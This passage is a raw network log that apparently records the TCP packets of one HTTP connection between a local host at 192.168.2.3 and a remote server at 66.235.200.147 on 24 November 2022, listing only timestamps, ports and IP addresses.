Nov 24, 2022 16:57:36.745769978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745773077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745790005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745794058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745807886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745810986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745831013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745837927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745850086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745852947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745868921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745870113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745891094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745894909 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745908976 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745909929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745929956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745934963 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745949984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745953083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745966911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745970964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.745984077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.745992899 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746011972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746017933 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746031046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746032953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746051073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746053934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746068001 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746072054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746093988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746094942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746118069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746125937 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746136904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746146917 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746155977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746176004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746179104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746191978 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746196032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746215105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746216059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746228933 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746237040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746241093 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746257067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746260881 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746277094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746290922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746290922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746296883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746316910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746320009 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746335030 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746335983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746356010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746364117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746376038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746381044 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746393919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746397018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746416092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746419907 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746437073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746437073 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746457100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746462107 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746476889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746479988 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746491909 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746496916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746516943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746520996 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746536970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746540070 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746556997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746563911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746578932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746579885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746598959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746607065 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746618032 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746622086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746638060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746638060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746656895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746659040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746676922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746685028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746695995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746700048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746715069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746728897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746737003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746743917 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746756077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746757030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746779919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746799946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746808052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746828079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746846914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746853113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746865988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746869087 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746892929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746900082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746900082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746912003 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746932983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746936083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746949911 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746953011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746972084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746980906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.746992111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.746995926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747011900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747020960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747031927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747046947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747051954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747061968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747073889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747081041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747096062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747104883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747116089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747119904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747133017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747137070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747155905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747155905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747174978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747184038 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747195005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747199059 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747212887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747215986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747236013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747236013 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747253895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747255087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747276068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747282028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747294903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747298002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747314930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747318029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747330904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747334957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747359991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747368097 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747380018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747383118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747397900 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747400045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747421026 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747422934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747442961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747447968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747462034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747462034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747478962 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747483969 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747503996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747509003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747523069 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747524023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747543097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747550011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747561932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747565031 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747581005 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747581959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747602940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747605085 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747633934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747634888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747633934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747654915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747673988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747677088 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747692108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747692108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747711897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747719049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747736931 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747744083 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747757912 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747764111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747787952 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747791052 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747803926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747811079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747828960 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747834921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747852087 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747859001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747876883 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747881889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747903109 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747905970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747920990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747932911 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747947931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747956991 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747977972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.747981071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.747996092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748004913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748025894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748027086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748050928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748050928 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748064041 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748074055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748095036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748107910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748128891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748128891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748146057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748152018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748172045 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748176098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748200893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748212099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748228073 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748236895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748256922 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748262882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748280048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748286963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748303890 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748311996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748327971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748337030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748356104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748363018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748385906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748398066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748415947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748418093 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748437881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748442888 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748456955 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748457909 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748476028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748483896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748497009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748497963 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748517036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748521090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748534918 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748538017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748558998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748560905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748575926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748578072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748595953 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748598099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748617887 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748622894 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748636961 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748637915 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748656988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748660088 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748677015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748677015 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748697042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748701096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748713970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748718023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748744965 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748750925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748768091 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748769045 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748788118 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748791933 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748806000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748809099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748821020 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748825073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748842001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748851061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748861074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748866081 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748878956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748878956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748894930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748897076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748914957 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748923063 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748933077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748938084 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748950958 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748954058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748967886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.748969078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748986959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.748996019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749005079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749011040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749023914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749027967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749041080 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749042034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749059916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749067068 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749077082 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749082088 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749095917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749111891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749113083 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749111891 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749130964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749139071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749147892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749156952 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749166965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749174118 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749185085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749186039 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749202013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749217987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749217987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749219894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749238014 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749248981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749270916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749275923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749275923 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749293089 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749315977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749319077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.749334097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.749334097 CET	49713	80	192.168.2.3	66.235.200.147
